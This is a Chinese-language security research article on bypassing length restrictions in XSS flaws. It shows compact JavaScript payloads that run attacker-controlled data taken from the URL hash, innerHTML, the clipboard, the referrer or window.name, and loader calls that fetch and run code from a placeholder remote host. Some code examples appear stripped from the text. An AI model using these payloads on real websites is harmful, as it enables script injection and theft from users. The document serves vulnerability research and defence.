一、綜述
有些XSS漏洞由於字符數量有限制而沒法有效的利用，只能彈出一個對話框來YY，本文主要討論如何突破字符數量的限制進行有效的利用，這里對有效利用的定義是可以不受限制執行任意JS.對於跨站師們來說，研究極端情況下XSS利用的可能性是一種樂趣；對於產品安全人員來說，不受限制的利用的可能是提供給開發人員最有力的證據，要求他們重視並修補這些極端情況下的XSS漏洞。
突破的方法有很多種，但是突破的思想基本都一樣，那就是執行可以控制的不受限制的數據。
二、突破方法
2.1 利用HTML上下文中其他可以控制的數據
可控的安全的數據
alert（/xss/）；
由於XSS點有字符數量限制，所以這里只能彈框，那么我們可以把XSS的Payload通過escape編碼后作為安全的數據，輸出到可控的安全數據位置，然后在XSS點執行可控的安全數據：
eval（unescape（x.innerHTML））；
長度：28 + len（id）
由於x內部的數據沒有字符數量的限制，那么從而可以達到執行任意JS的目的。
2.2 利用URL中的數據
長度：30
limited_xss_point>eval（location.href.substr（80））；
長度：31
上面兩個例子對比，前一個例子更短，那么有沒有辦法更短呢？通過查閱t手冊的String的方法可以發現，切割字符串有一個更短的函數slice，5個字符比substr還要短一個字符：
長度：29
eval（location.href.slice（80））；
長度：30
那么還有沒有辦法更短呢？答案是YES，查閱一下MSND里的location對象的參考你會發現有個hash成員，獲取#之后的數據，那么我們可以把要執行的代碼放在#后面，然后通過hash獲得代碼執行，由於獲得的數據是#開頭的，所以只需要slice一個字符就可以拿到代碼：
eval（location.hash.slice（1））；
長度：29
這樣比上面的例子又少了一個字符。那么還可以更短么？ 2.3 JS上下文的利用
為什么我如此痛苦？那是因為JS和DHTML的方法名和屬性名太長！瞧瞧這些“糟糕”的名字：
String.fromCharCode
getElementById
getElementsByTagName
XMLHTTPRequest
……
就連開發人員也不願意多寫一次，於是很多站點的前端開發工程師們封裝了各式各樣的簡化函數，最經典的例子就是：
這些函數同樣可以為我們所用，用來縮短我們的Payload的長度。不過上面這個例子不是最短的，IE和FF都支持直接通過ID來引用一個元素。有些函數可以直接用來加載我們的代碼：
n loads（url）
……
loads（"http://xxx.com/x"）；
長度：len（函數名） + len（url） + 5
當然你的url則是越短越好哦！有些函數則會幫我們去作HTTP請求：
n get（url）
……
return x.responseText；
eval（get（"http://xxx.com/x"））；
長度：len（函數名） + len（url） + 11
道哥則提出有些流行的JS的開發框架也封裝了大量功能強勁的庫可供調用，比如：
JQuery
YUI
……
綜上所述，我們可以通過分析JS上下文現有的框架、對象、類、函數來盡可能的縮短我們的代碼，進而突破長度限制執行任意代碼。
2.4 利用瀏覽器特性在跨域的頁面之間傳遞數據
雖然有同源策略的限制，瀏覽器的功能設計上仍然保留了極少數的可以跨域傳遞數據的方法，我們可以利用這些方法來跨頁面傳遞數據到被XSS的域的頁面去執行。
攻擊者可以在自己的域上構造頁面跳轉到被XSS頁面，在自己域上的頁面的url里帶了Payload，被XSS的頁面通過referrer獲取相關代碼執行。
這種方式利用上還有一些問題，如果使用location.href或者實現的自動跳轉，在IE里被攻擊頁面拿不到referrer，而FF則可以。QZ建議用表單提交的方式比較好，我測試了下，果然通用，FF/IE都可以成功獲取referrer：
2.4.2 剪切板clipboardData
攻擊者在自己域的頁面上通過clipboardData把Payload寫入剪切板，然后在被XSS頁面獲取並執行該數據。
被XSS的頁面：
eval（clipboardData.getData（"text"））；
長度：36
這種方式只適用於IE6系列，並且在IE 7及以上版本的瀏覽器會有安全提示。
這是一個很少被用到的特性，在研究同源策略時就注意過這個屬性，它是可以跨域傳遞數據的，但是這個特性本身並不是漏洞。
攻擊者構造的頁面：
被XSS的頁面：
eval（name）；
長度：11
這個長度可以說是短到極致了，並且這個方法IE/FF都可以很好的支持，是個非常有意思的技巧，這個技巧的發現也是促成本文的直接原因。
2.5 以上的方式結合使用
以上的方式結合使用，一般情況下會使得長度更長，但是也不排除在某些變態的過濾情況中，靈活的組合上面的方法可能會起到奇效。
三、后記
JS非常靈活，所以方法肯定不限於這些，在具體的問題的分析和研究中，可以獲得很多的樂趣，並且對JS以及瀏覽器本身有了更深的認識，如果您有巧妙的技巧或者新奇的構思，歡迎和我交流！
感謝axis*刺*大風*道哥、rayh4c*QZ*茄子為本文提出的寶貴意見！
本文是純粹的技術探討，請勿用於非法用途！
四、參考
http://msdn.microsoft.com/en-us/library/aa155073.aspx